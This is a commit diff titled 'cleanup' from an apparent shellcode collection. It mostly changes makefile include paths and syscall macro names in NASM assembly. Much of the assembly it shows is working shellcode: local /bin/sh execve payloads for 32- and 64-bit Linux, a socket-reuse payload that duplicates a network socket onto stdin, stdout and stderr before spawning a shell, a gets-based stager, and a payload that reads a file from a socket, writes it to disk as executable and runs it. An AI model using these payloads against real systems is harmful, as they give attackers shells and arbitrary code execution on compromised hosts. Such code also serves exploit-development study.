Skip to content

Commit bfae47b

Browse files
committed
cleanup
1 parent c5e0a04 commit bfae47b

File tree

14 files changed

+75
-78
lines changed

14 files changed

+75
-78
lines changed

32bitLocalBinSh/makefile

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,22 @@
11
#Evan Jensen
22
#Make template for testing shellcode
3+
4+
5+
RUNTIMEDIR = ../include/runtime/
6+
INCLUDEDIR = ../include/
7+
INCLUDE = -I $(INCLUDEDIR) -I $(RUNTIMEDIR)
8+
39
shellcode = shell32.s
410
NFLAGS = elf
511
CFLAGS = -m32
612

713
all: assemble link
814
assemble:
9-
nasm -f $(NFLAGS) $(shellcode) -o linkme.o
10-
nasm $(shellcode) -o shellcode
15+
nasm -f $(NFLAGS) $(shellcode) $(INCLUDE) -o linkme.o
16+
nasm $(shellcode) $(INCLUDE) -o shellcode
1117
link:
1218
gcc linkme.o -o testShellcode $(CFLAGS)
1319

1420
clean:
15-
rm linkme.o
16-
rm testShellcode
17-
rm shellcode
21+
rm -f linkme.o testShellcode shellcode
22+

32bitLocalBinSh/shell32.s

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
;; EBX, ECX, EDX, ESI, EDI, EBP then stack
33
BITS 32
44
global main
5-
%include "../include/short32.s"
5+
%include "short32.s"
66

77
main:
88
; execve("/bin/sh", 0, 0)

32bitPutFileOnDisk/makefile

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,22 @@
11
#Evan Jensen
22
#Make template for testing shellcode
3+
4+
RUNTIMEDIR = ../include/runtime/
5+
INCLUDEDIR = ../include/
6+
INCLUDE = -I $(INCLUDEDIR) -I $(RUNTIMEDIR)
7+
38
shellcode = shell32.s
49
NFLAGS = elf
510
CFLAGS = -m32
611

712
all: assemble link
813
assemble:
9-
nasm -f $(NFLAGS) $(shellcode) -o linkme.o
10-
nasm $(shellcode) -o shellcode
14+
nasm -f $(NFLAGS) $(shellcode) $(INCLUDE) -o linkme.o
15+
nasm $(shellcode) $(INCLUDE) -o shellcode
1116
link:
1217
gcc linkme.o -o testShellcode $(CFLAGS)
1318

1419
clean:
15-
rm linkme.o
16-
rm testShellcode
17-
rm shellcode
20+
rm -f linkme.o testShellcode shellcode
21+
22+

32bitPutFileOnDisk/shell32.s

Lines changed: 6 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,11 @@
77
BITS 32
88
global main
99
10-
%include "../include/syscalls32.s"
10+
%include "short32.s"
1111

1212
%define openflags 0x42 ; O_CREAT|O_RDWR
1313
%define size 0xffff
14-
14+
%define stackcookie [gs:0x14]
1515

1616
; assumption - ebx has the input (socket)
1717
@@ -35,7 +35,7 @@ main:
3535
mov ebx, ebp ; ebx = 0
3636
mov edx, ebp
3737
mov dl, 0x3 ; edx = 3
38-
mov al, __NR_mmap
38+
mov al, mmap
3939
int 0x80 ; call mmap
4040

4141
; (temp assignment)
@@ -53,23 +53,22 @@ main:
5353
mov edx, eax
5454
mov dl, 0x7
5555
shl dl, 0x6 ; edx = 111000000 = 0700
56-
mov al, __NR_open
56+
mov al, open
5757
int 0x80 ; call open
5858

5959
; write(output, buffer, size)
6060
mov ebx, eax ; ebx = output
6161
mov ecx, edi ; ecx = buffer
6262
mov edx, esi ; edx = size
6363
xor eax, eax
64-
mov al, __NR_write
64+
mov al, write
6565
int 0x80 ; call write
6666
6767
; execve(filename, 0, 0)
6868
mov ebx, esp ; ebx = filename
6969
xor ecx, ecx
7070
mov edx, ecx
7171
mov eax, ecx
72-
mov al, __NR_execve
72+
mov al, execve
7373
int 0x80
7474

75-

32bitSocketReuse/makefile

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,20 @@
11
#Evan Jensen
22
#Make template for testing shellcode
3+
4+
RUNTIMEDIR = ../include/runtime/
5+
INCLUDEDIR = ../include/
6+
INCLUDE = -I $(INCLUDEDIR) -I $(RUNTIMEDIR)
37
shellcode = shell32.s
48
NFLAGS = elf
59
CFLAGS = -m32
610

711
all: assemble link
812
assemble:
9-
nasm -f $(NFLAGS) $(shellcode) -o linkme.o
10-
nasm $(shellcode) -o shellcode
13+
nasm -f $(NFLAGS) $(shellcode) $(INCLUDE) -o linkme.o
14+
nasm $(shellcode) $(INCLUDE) -o shellcode
1115
link:
1216
gcc linkme.o -o testShellcode $(CFLAGS)
1317

1418
clean:
15-
rm linkme.o
16-
rm testShellcode
17-
rm shellcode
19+
rm -f linkme.o testShellcode shellcode
20+

32bitSocketReuse/shell32.s

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
;; Mon Mar 4 12:03:49 EST 2013
44
;; EBX, ECX, EDX, ??? then stack - but we only need 3
55
;; read = 3, dup2 = 63, execve = 11
6-
%include "../include/short32.s"
6+
%include "short32.s"
77

88
%define MAGIC dword 0xcafef00d
99
BITS 32
@@ -51,6 +51,8 @@ mydup2:
5151
dec ecx ; this is for looping stderr/out/in
5252
jns mydup2.copy
5353

54+
55+
5456
;; OUR SOCKET IS IN EBX
5557
5658
;; now just some local shellcode

64BitLocalBinSh/makefile

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,20 @@
11
#Evan Jensen
22
#Make template for testing shellcode
3+
4+
RUNTIMEDIR = ../include/runtime/
5+
INCLUDEDIR = ../include/
6+
INCLUDE = -I $(INCLUDEDIR) -I $(RUNTIMEDIR)
37
shellcode = shell64.s
48
NFLAGS = elf64
59
CFLAGS =
610

711
all: assemble link
812
assemble:
9-
nasm -f $(NFLAGS) $(shellcode) -o linkme.o
10-
nasm $(shellcode) -o shellcode
13+
nasm -f $(NFLAGS) $(shellcode) $(INCLUDE) -o linkme.o
14+
nasm $(shellcode) $(INCLUDE) -o shellcode
1115
link:
1216
gcc linkme.o -o testShellcode $(CFLAGS)
1317

1418
clean:
15-
rm linkme.o
16-
rm testShellcode
17-
rm shellcode
19+
rm -f linkme.o testShellcode shellcode
20+

64BitLocalBinSh/shell64.s

Lines changed: 10 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -2,16 +2,19 @@
22
;; Evan Jensen 64bit localshellcode
33
;; RDI, RSI, RDX, RCX, R8, and R9 then stack
44
BITS 64
5+
6+
%include "short64.s"
7+
58
global main
6-
extern execve
9+
710
main:
8-
xor rax,rax
11+
xor rax, rax
912
push rax
10-
mov rdi, 0x68732f2f6e69622f
13+
mov rdi, 0x68732f2f6e69622f ;/bin//sh
1114
push rdi
12-
mov al,59 ;execve in unistd_64.h
13-
mov rdi,rsp
14-
xor rsi,rsi
15-
xor rdx,rdx
15+
mov al, execve
16+
mov rdi, rsp
17+
xor rsi, rsi
18+
xor rdx, rdx
1619
syscall
1720

getsShellcode/getsShellcode.s

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
;; Evan Jensen (wont) 111012
33
BITS 32
44
5-
%include "../include/short32.s"
5+
%include "short32.s"
66
global main
77

88
main:

getsShellcode/makefile

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,20 @@
11
#Evan Jensen
22
#Make template for testing shellcode
3+
RUNTIMEDIR = ../include/runtime/
4+
INCLUDEDIR = ../include/
5+
INCLUDE = -I $(INCLUDEDIR) -I $(RUNTIMEDIR)
6+
37
shellcode = getsShellcode.s
48
NFLAGS = elf
59
CFLAGS = -m32
610

711
all: assemble link
812
assemble:
9-
nasm -f $(NFLAGS) $(shellcode) -o linkme.o
10-
nasm $(shellcode) -o shellcode
13+
nasm -f $(NFLAGS) $(shellcode) $(INCLUDE) -o linkme.o
14+
nasm $(shellcode) $(INCLUDE) -o shellcode
1115
link:
1216
gcc linkme.o -o testShellcode $(CFLAGS)
1317

1418
clean:
15-
rm linkme.o
16-
rm testShellcode
17-
rm shellcode
19+
rm -f linkme.o testShellcode shellcode
20+

0 commit comments

Comments
 (0)